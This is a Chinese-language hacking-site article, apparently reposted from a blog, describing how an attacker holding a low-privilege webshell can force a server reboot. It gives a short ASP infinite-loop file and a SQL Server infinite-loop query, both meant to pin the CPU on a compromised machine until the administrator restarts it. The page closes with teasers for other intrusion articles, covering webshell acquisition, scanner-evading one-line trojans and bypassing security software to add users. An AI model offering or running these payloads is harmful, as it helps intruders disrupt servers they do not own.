webshell低权限重启服务器的另类方法

所属分类：网络安全 / 黑客入侵阅读数： 140

收藏 0赞 0分享

原理就是通过执行死循环导致cpu跑满，不得不重启服务器，windows系统下可以通过停止w3wp.exe的方法解决，然后重启iis什么的

把下面的代码保存为chongqi.asp，然后在访问，会占用CPU很高，管理员会重启。

复制代码

代码如下:

<%
for i = 1 to 100
i = 10
next
%>

sqlserver下DB-OWNER权限重启服务器：

复制代码

代码如下:

while 1<9 begin select char(0) end–

来自：chouwazi的博客

更多精彩内容其他人还在看

一个注射点,一个webshell甚至系统权限

————只要给我一个注射点，无论什么权限，我都给你一个webshell甚至系统权限声明：本文仅用于教学目的，如果因为本文造成的攻击后果本人概不负责。因为发觉其危害过大，原文已经经过大量删减及修改，即使这样本文的危害性

收藏 0赞 0分享

黑客实战:一次简单脚本攻击实例

一、开篇今天闲着无聊，到本地区的一个社区上转转，那些人污言秽语的，有个帖子还侵犯了一个朋友的版权，跟贴说了那人几句，管理员也不管，实在看不下去了，打算给管理员盆冷水清醒清醒。二、准备/分析安全第一，先开个HTTP代理，打开社区的登陆页面，

收藏 0赞 0分享

eWebEditor编辑器成网站中的隐形炸弹

站长在使用eWebEditor的时候是否发现，eWebEditor配置不当会使其成为网站中的隐形炸弹呢？第一次发现这漏洞源于去年的一次入侵，在山穷水尽的时候发现了eWebEditor，于是很简单就获得了WebShell。后来又有好几次利用eWebEditor进行入侵的成功经历，这

收藏 0赞 0分享

系统泄露密码的入侵攻击分析

WINDOWS访问139端口时自动用当前用户、密码连接，造成泄露用户密码，虽然其密码是加密的，但一样可以用来攻击。　　下面是SMB的密码认证方式。　　WINDOWS的139口的访问过程，箭头表示数据方向：　　1.客户端<---------------

收藏 0赞 0分享

看看黑客是怎样使用Google黑掉Windows服务器

在我的《为什么使用Google扫描安全漏洞》的技巧中，我讨论了如何使用Google.com来执行对你的面向公众的服务器的安全扫描――包括Windows、IIS、Apache和（但愿不会如此！）SQL Server。你能使用它得到服务器的信息、包含敏感信息的文件和检测出&ldquo

收藏 0赞 0分享

黑客总结的实用的网站渗透步骤

本文是黑客们总结的比较实用的网站渗透的一些步骤

收藏 0赞 0分享

一句话木马加密过护卫神云查杀系统过shell扫描器

这个一句话木马最近被利用的很多，很多扫描工具扫描不到，不过一些asp版的扫描工具支持扫描eval和execute，如果发现如下代码，请删除，下面就是他们常发的木马后门

收藏 0赞 0分享

安全狗下添加用户的另一方法(大量操作实现突破)

这篇文章主要是针对安装服务器安全狗的机器，突破添加用户的操作，用for循环实现，但如果服务器安装了360就无法使用

收藏 0赞 0分享

安全狗下加用户的又一方法

上次发了安全狗下加用户的另一方法，据说不够风骚…所以这次要淫荡一点，方法同样很简单，不过不知道有没有人发过

收藏 0赞 0分享

防止黑客入侵系统建立很难发现的隐藏帐户

一般用户很难发现系统中隐藏账户的存在，那么该怎么办呢？其实我们可以通过以下几点来解决这个问题，接下来教你如何把隐藏账户彻底请出系统，感兴趣的朋友不要错过

收藏 0赞 0分享

webshell低权限重启服务器的另类方法

一个注射点,一个webshell甚至系统权限

黑客实战:一次简单脚本攻击实例

eWebEditor编辑器成网站中的隐形炸弹

系统泄露密码的入侵攻击分析

看看黑客是怎样使用Google黑掉Windows服务器

黑客总结的实用的网站渗透步骤

一句话木马加密过护卫神云查杀系统过shell扫描器

安全狗下添加用户的另一方法(大量操作实现突破)

安全狗下加用户的又一方法

防止黑客入侵系统建立很难发现的隐藏帐户

网络赚钱

站长故事

webshell低权限重启服务器的另类方法

一个注射点,一个webshell甚至系统权限

黑客实战:一次简单脚本攻击实例

eWebEditor编辑器成网站中的隐形炸弹

系统泄露密码的入侵攻击分析

看看黑客是怎样使用Google黑掉Windows服务器

黑客总结的实用的网站渗透步骤

一句话木马加密 过护卫神云查杀系统 过shell扫描器

安全狗下添加用户的另一方法(大量操作实现突破)

安全狗下加用户的又一方法

防止黑客入侵系统建立很难发现的隐藏帐户

网络赚钱

站长故事

一句话木马加密过护卫神云查杀系统过shell扫描器